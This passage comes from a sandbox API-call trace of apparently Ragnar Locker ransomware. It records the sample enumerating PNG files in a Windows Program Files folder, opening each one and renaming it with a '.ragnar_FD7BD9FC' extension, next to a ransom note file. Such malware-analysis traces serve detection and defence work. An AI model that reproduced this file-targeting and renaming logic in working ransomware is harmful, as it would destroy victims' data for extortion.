nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.366] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.366] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.366] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 1 [0079.366] lstrcmpiW (lpString1="softedges.png", lpString2=".") returned 1 [0079.366] lstrcmpiW (lpString1="softedges.png", lpString2="..") returned 1 [0079.366] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1 [0079.366] lstrcmpiW (lpString1="vignettemask25.png", lpString2=".") returned 1 [0079.366] lstrcmpiW (lpString1="vignettemask25.png", lpString2="..") returned 1 [0079.366] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1 [0079.367] lstrcmpiW (lpString1="whiteband.png", lpString2=".") returned 1 [0079.367] lstrcmpiW (lpString1="whiteband.png", lpString2="..") returned 1 [0079.367] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0 [0079.367] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x818b10e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.367] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x818b10e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x818b10e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.367] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.367] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.367] lstrcpyW (in: lpString1=0x1eab5a, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0079.367] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png") returned=".png" [0079.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.368] CloseHandle (hObject=0xffffffff) returned 0 [0079.368] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" [0079.368] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png.ragnar_FD7BD9FC" [0079.368] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\1047x576black.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\1047x576black.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.368] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0079.368] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.368] lstrcpyW (in: lpString1=0x1eab5a, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png" [0079.368] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png") returned=".png" [0079.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.368] CloseHandle (hObject=0xffffffff) returned 0 [0079.368] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" [0079.368] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png.ragnar_FD7BD9FC" [0079.368] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\15x15dot.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\15x15dot.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.368] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.368] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.369] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0079.369] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png") returned=".png" [0079.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.369] CloseHandle (hObject=0xffffffff) returned 0 [0079.369] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" [0079.369] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.369] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.369] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.369] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.369] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0079.369] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png") returned=".png" [0079.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.369] CloseHandle (hObject=0xffffffff) returned 0 [0079.370] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" [0079.370] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.370] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.370] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.370] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.370] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0079.370] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png") returned=".png" [0079.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.370] CloseHandle (hObject=0xffffffff) returned 0 [0079.370] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" [0079.370] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.370] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.370] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.370] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.370] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0079.370] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png") returned=".png" [0079.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.371] CloseHandle (hObject=0xffffffff) returned 0 [0079.371] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" [0079.371] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.371] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.371] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.371] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.371] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0079.371] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png") returned=".png" [0079.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.371] CloseHandle (hObject=0xffffffff) returned 0 [0079.371] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" [0079.371] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.371] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.372] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.372] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD 